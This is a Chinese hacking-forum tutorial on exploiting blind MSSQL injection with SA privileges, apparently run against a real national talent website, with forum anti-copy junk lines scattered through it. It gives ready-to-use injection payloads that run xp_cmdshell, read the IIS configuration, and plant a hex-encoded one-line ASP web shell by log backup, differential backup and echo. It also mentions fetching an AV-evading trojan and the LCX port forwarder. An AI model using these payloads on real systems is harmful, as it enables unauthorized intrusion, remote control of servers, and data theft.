sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
5 ~- h- N% a- E9 s
. @. m) l. y; T4 Z& K7 [
% i: K. ~( ?* Z" M* ~7 G+ t: }                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

: L% p4 N+ Z' ~/ R                                                                 
: `# [. P2 O. t: r                                                                 
5 S2 Z) M* g- M! N                                                                  论坛： http://www.90team.net/



友情检测国家人才网

: Y" R0 O$ L! a
) O6 F7 [, D/ N4 z. P内容：MSSQL注入SA权限不显错模式下的入侵
' l5 @4 U/ \. p" Y  N: O  z8 }

一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

3 C' Q2 R1 K/ A/ t! u" z
  D: Y, B5 A; u( E这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
# ]/ o, e6 y4 q( Z) u
思路：
" z9 j4 K# c! o! D6 ]& W
首先：

7 A, X$ Q+ @1 K- m& A通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
; @5 \% S7 P/ \) f( s/ k$ k7 i3 d
1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。

5.直接下载LCX将服务器端口转发出来
5 q& E& K5 G  O2 \' K+ D
4 @7 t1 k4 f2 r4 J; t# ^* t6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
( B1 O, ~! w: k" z) v. b+ C) ~

0 n6 Z. y3 G% {2 V( c
2 W+ E5 s& Z; _, s在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
8 j& i' [: R. f
  V. G4 ^' c$ X8 s6 ~7 ]9 r我直接演示后面一个方法

- {4 z. G3 _, o1 Y; {$ V
- |5 I! n1 d  B; f# ]7 f. ]5 K6 a4 j分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
7 \' T( f1 O% h' R& x" M, f# D- H. [

. i; g- i! a" {' D' t. c
  a# b& C' m, c7 {5 g
◆日志备份：
" R2 N. \, _( q
/ U' n9 t: L  T# J* n1 w
1. 进行初始备份
+ l- d) i! P5 O) {3 `$ [" M0 j; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

+ H' n0 V5 Y% g7 b2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
9 M% A% r- D0 ?8 b  g# G- R
7 ?. g1 w* p8 t) Q' d9 k0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  X' M- j/ ^% N6 G( w7 {  
3. 备份并获得文件，删除临时表
' p- p. g" c, S/ H9 Q;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
% u/ M+ ^: w6 A, \, ^7 {4 i+ o/ T


1 W! y& o" U2 y5 \9 `1 I◆数据库差异备份
9 L& U  e) _$ Y) S2 l# X; ~7 p" \
4 Z6 i# c; b# x$ I（1. 进行差异备份准备工作
; M1 @% U' [+ ^# F
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
/ a0 C! }) k+ {& g
* o; T, M! O$ R, |# T4 R/ t上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
0 u+ y- A  u6 ]% X) U7 {
) K' ^2 R8 O) t) c( x: Y
5 @4 F+ R; F  ]# i（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
9 H# N; }7 N: ~  x& V2 L. P3 D
. L/ c8 U2 ~$ Y3 I0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
) E: n7 b& R2 W0 ~* {! |
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
( o- o+ t+ s' K8 X
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件


3 p4 B( D4 z* f7 Q% A% C
9 j( l+ m& x% E4 m/ _' T+ H用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
0 G7 b6 @$ k+ T4 P& z, Q* T: t, _
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径
) @/ A4 a: h5 C: B
     
$ F2 p7 H0 m5 p     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

3 z0 a8 X5 r0 \8 l$ b. f; I执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

0 H2 G6 L$ j' R9 b8 ~& Z+ Y

8 Z# v7 o8 r' Q3 E. z

1 p- b  ^# O- t/ i) h) a


# j3 h$ K6 N- l; _! n7 q* z: K








- F5 d* L* N7 j. P) ?& p7 U8 Y



( c0 F/ t2 S. b% C8 D

" z' L1 a, A  ~
+ i1 T9 \2 Y7 p' X4 i
, b9 ]  f( L" X$ ]




" L) i; O0 d8 E* N1 U5 [
, c* @6 S$ L' P4 q. M- t

7 w8 U, X! {0 x0 l4 i7 U! H

5 B3 G0 `0 ^1 Z% u) m8 X7 }

$ }( g( C  @2 F+ y7 c$ M: X' S


9 M' Z& Y: K$ L- a* ^9 L" [4 c' J- O
/ P( U3 e9 o' ^) \! N+ e. A4 {
# _9 b( t! B: l( v6 E/ t# w
8 z# v/ q9 j; `( ~1 q1 P

! z% [2 o6 F# m* K5 T) C; ]' \
  e% q5 k- f9 I, ]+ W3 ^
# ~6 H- ?1 `% k5 n/ u5 R+ j- o& Y/ ~5 j
6 |" @* R& J, n